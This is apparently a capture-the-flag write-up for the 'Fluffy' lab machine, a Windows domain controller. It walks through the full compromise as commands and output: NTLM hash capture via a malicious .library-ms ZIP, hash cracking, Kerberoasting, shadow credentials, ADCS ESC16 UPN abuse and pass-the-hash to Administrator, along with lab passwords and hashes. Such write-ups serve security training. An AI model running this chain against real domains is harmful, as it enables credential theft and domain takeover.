Fluffy¶

Initial Scan¶

nmap -sC -sV -Pn -oN scan_initial 10.10.11.69

Port	Service	Detail
53	DNS	Microsoft DNS
88	Kerberos	Windows AD
135	MSRPC	Windows RPC
139	NetBIOS	SMB
389	LDAP	Active Directory
445	SMB	Windows SMB
5985	WinRM	Windows Remote Management

This is a Windows Domain Controller.

Enumeration¶

NTLM Hash Disclosure via .library-ms¶

A crafted .library-ms file embedded in a ZIP archive triggers NTLM hash disclosure when opened in Windows Explorer (CVE-2024 or similar technique).

Upload the malicious ZIP to the SMB share using the provided credentials:

cd ~/Tools/Responder
sudo python Responder.py -I tun0 -v

smbclientng --host 10.10.11.69 -d fluffy.htb -u 'j.fleischman' -p 'J0elTHEM4n1990!'
use IT
put ./malicious.zip

When a user opens the ZIP and the .library-ms file, the NTLM hash is captured by Responder.

Hash Cracking¶

Crack the captured NTLMv2 hash:

hashcat -a 0 -m 5600 hash ~/wordlists/rockyou.txt --show

P.AGILA::FLUFFY:...:prometheusx-303

Credential: p.agila / prometheusx-303

BloodHound Enumeration¶

Run BloodHound to map the domain:

bloodhound-ce-python -ns 10.10.11.69 -u 'p.agila' -p 'prometheusx-303' -d fluffy.htb -c All --zip

Exploitation¶

Kerberoast¶

Time synchronization is required for Kerberos attacks:

faketime "$(date +'%Y-%m-%d') $(net time -S 10.10.11.69 | awk '{print $4}')" zsh

Add p.agila to the "SERVICE ACCOUNTS" group to enable Kerberoasting:

net rpc group addmem "SERVICE ACCOUNTS" "P.AGILA" -U "fluffy.htb"/"p.agila%"prometheusx-303" -S "10.10.11.69"

Kerberoast to extract service account hashes:

targetedKerberoast.py -v -d "fluffy.htb" -u "p.agila" -p "prometheusx-303" -o Kerberoastables.txt

Privilege Escalation¶

ADCS ESC16 - pywhisker¶

Target ca_svc (Certificate Authority service) and winrm_svc using pywhisker:

pywhisker -d "fluffy.htb" -u "p.agila" -p "prometheusx-303" --target "ca_svc" --action "add" --dc-ip 10.10.11.69
pywhisker -d "fluffy.htb" -u "p.agila" -p "prometheusx-303" --target "winrm_svc" --action "add" --dc-ip 10.10.11.69

Export the PFX files and authenticate to get NT hashes:

certipy cert -export -pfx "./NT7p5p4L.pfx" -password "G0BO0JqTB9LRIANCBzEE" -out "unprotected.pfx"
certipy auth -pfx "unprotected.pfx" -dc-ip 10.10.11.69 -username 'ca_svc' -domain 'fluffy.htb'

[*] Got hash for 'ca_svc@fluffy.htb': ...:ca0f4f9e9eb8a092addf53bb03fc98c8

certipy cert -export -pfx "./ZGKiobHl.pfx" -password "gERfRIHnXVyJ4WNbhKsL" -out "unprotected_winrm.pfx"
certipy auth -pfx "unprotected_winrm.pfx" -dc-ip 10.10.11.69 -username 'winrm_svc' -domain 'fluffy.htb'

[*] Got hash for 'winrm_svc@fluffy.htb': ...:33bd09dcd697600edf6b3a7af4875767

WinRM Access¶

evil-winrm -i 10.10.11.69 -u winrm_svc -H 33bd09dcd697600edf6b3a7af4875767

ADCS ESC16 - Domain Admin¶

Using ca_svc with ESC16 (template access control manipulation), find vulnerable templates:

certipy find -u "ca_svc@fluffy.htb" -hashes ":ca0f4f9e9eb8a092addf53bb03fc98c8" -dc-ip 10.10.11.69 -vulnerable -stdout -ns 10.10.11.69

Read and update ca_svc UPN to impersonate Administrator:

certipy account -u "ca_svc@fluffy.htb" -hashes ":ca0f4f9e9eb8a092addf53bb03fc98c8" -dc-ip 10.10.11.69 -user 'ca_svc' read
certipy account -u "ca_svc@fluffy.htb" -hashes ":ca0f4f9e9eb8a092addf53bb03fc98c8" -dc-ip 10.10.11.69 -user 'ca_svc' -upn 'Administrator' update

Request a certificate using the Kerberos cache:

certipy req -k -dc-ip 10.10.11.69 -target 'DC01.fluffy.htb' -ca 'fluffy-DC01-CA' -template 'User'

Restore the original UPN and authenticate with the Administrator certificate:

certipy account -u "ca_svc@fluffy.htb" -hashes ":ca0f4f9e9eb8a092addf53bb03fc98c8" -dc-ip 10.10.11.69 -user 'ca_svc' -upn 'ca_svc' update
certipy auth -dc-ip 10.10.11.69 -pfx 'administrator.pfx' -username 'administrator' -domain 'fluffy.htb'

[*] Got hash for 'administrator@fluffy.htb': ...:8da83a3fa618b6e3a00e93f676c92a6e

Root Access¶

evil-winrm -i 10.10.11.69 -u Administrator -H 8da83a3fa618b6e3a00e93f676c92a6e

Flags¶

user.txt: *** root.txt: ***